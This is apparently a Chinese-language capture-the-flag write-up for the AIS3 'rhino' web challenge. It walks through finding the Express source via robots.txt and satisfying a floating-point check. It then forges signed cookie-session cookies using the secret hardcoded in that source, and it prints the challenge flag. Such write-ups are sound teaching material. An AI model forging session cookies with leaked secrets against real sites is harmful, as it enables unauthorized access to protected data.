這題網站在 https://rhino.ais3.org/, robots.txt
可以看到東西
1 2 3 4 5 6 7 8 9 10 11 12 13 # RIP robots! User-agent: * Disallow: / Disallow: /index.html Disallow: /*.xml Disallow: /recent Disallow: /assets Disallow: /about Disallow: /*.js Disallow: /*.json Disallow: /node_modules Disallow: /flag.txt
然後這個網站看起來是用 express 架的然後放 jekyll 產的 blog,既然是 js project 先看個 package.json
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "name": "app", "version": "1.0.0", "description": "", "scripts": { "start": "node chill.js", "test": "echo \"Error: no test specified\" && exit 1" }, "author": "djosix", "license": "ISC", "dependencies": { "cookie-session": "^1.4.0", "express": "^4.17.1" } }
然後就看到原始碼叫做 chill.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 const express = require ('express' );const session = require ('cookie-session' );let app = express ();app.use (session ({ secret : "I'm watching you." })); app.use ('/' , express.static ('./' )); app.get ('/flag.txt' , (req, res ) => { res.setHeader ('Content-Type' , 'text/plain' ); let n = req.session .magic ; if (n && (n + 420 ) === 420 ) res.sendFile ('/flag' ); else res.send ('you are a sad person too' ); }); app.get ('*' , function (req, res ){ res.status (404 ).sendFile ('404.html' , { root : __dirname }); }); app.listen (process.env .PORT , '0.0.0.0' );
看起來只要讓他的 n && (n + 420) === 420
就可以讀 flag 了,以前就很常看到 FB 上有人 po 一些 js 的梗圖說明 js 很古怪的行為,隨便看了幾張複習一下,就想到有浮點數誤差的問題,所以 n
設成 0.00000000000001
就可以了,n
是從 req.session.magic
抓的,所以我們要設 req.session.magic
的話,最簡單的方式就是自己把 server 架起來,然後多加一行 req.session.magic = 0.00000000000001
,就可以產出 express:sess
和 express:sess.sig
兩個 Cookie 了,sig 是用前面設定的 secret: "I'm watching you."
算出來的,詳情可以看 cookie-session 。
1 AIS3{h4v3_y0u_r34d_7h3_rh1n0_b00k?}